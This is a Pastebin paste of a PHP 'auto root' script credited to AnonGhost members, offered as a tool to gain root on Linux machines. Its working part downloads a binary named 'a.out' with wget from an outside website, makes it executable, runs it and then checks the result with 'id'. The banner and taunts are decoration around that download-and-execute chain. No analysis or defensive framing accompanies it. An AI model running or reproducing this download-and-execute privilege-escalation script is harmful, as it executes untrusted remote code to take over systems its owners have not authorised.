Advertisement
Spider64

PHP Auto root 2013 Version 2.0

Sep 19th, 2013
360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. #!/usr/bin/php
  2.  
  3. <?php
  4.  
  5. /*
  6.  
  7. # PHP Auto root 2013 Version 2.0 Coded by Mauritania Attacker & Riad
  8.  
  9. # AnonGhost is Everywhere
  10.  
  11. # <3 AnonGhost <3
  12.  
  13. */
  14.  
  15. set_time_limit(0);
  16.  
  17. system("clear");
  18.  
  19. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  20.  
  21. print "|PHP Auto Root Version 2.0 By Mauritania Attacker & Riad |\n";
  22.  
  23. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  24.  
  25. print "|Priv8 Version |\n";
  26.  
  27. print "|Rooting: All Linux Kernels |\n";
  28.  
  29. print "| <3 AnonGhost <3 |\n";
  30.  
  31. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  32.  
  33. sleep(4);
  34.  
  35. print "\nKernel to verify:\n";
  36.  
  37. print "lnx or bsd: ";
  38.  
  39. $kernel = fgets(STDIN);
  40.  
  41. $kernel = trim($kernel);
  42.  
  43. if($kernel == "lnx")
  44.  
  45. {
  46.  
  47. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=----------|\n";
  48.  
  49. print "|PHP Auto Root by Mauritania Attacker & Riad |\n";
  50.  
  51. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=----------|\n";
  52.  
  53. print "|Selected kernel : |Linux arq| |\n";
  54.  
  55. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=----------|\n";
  56.  
  57. sleep(2);
  58.  
  59. print "\n[+] Testing lnx Exploit please wait....\n";
  60.  
  61. print "[~] Smoke Marijuana XD !!!! (:\n";
  62.  
  63. sleep(2);
  64.  
  65. system("mkdir lnx;chmod 0777 lnx;cd lnx/");
  66.  
  67. system("wget http://perlesbleues.com/language/fr-FR/a.out");
  68.  
  69. system("chmod +x a.out");
  70.  
  71. system("./a.out");
  72.  
  73. sleep(1);
  74.  
  75. system("id");
  76.  
  77. exit(0);
  78.  
  79. }
  80.  
  81. //EOF_
  82.  
  83. //2013
  84.  
  85. //Priv8 Version
  86.  
  87. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement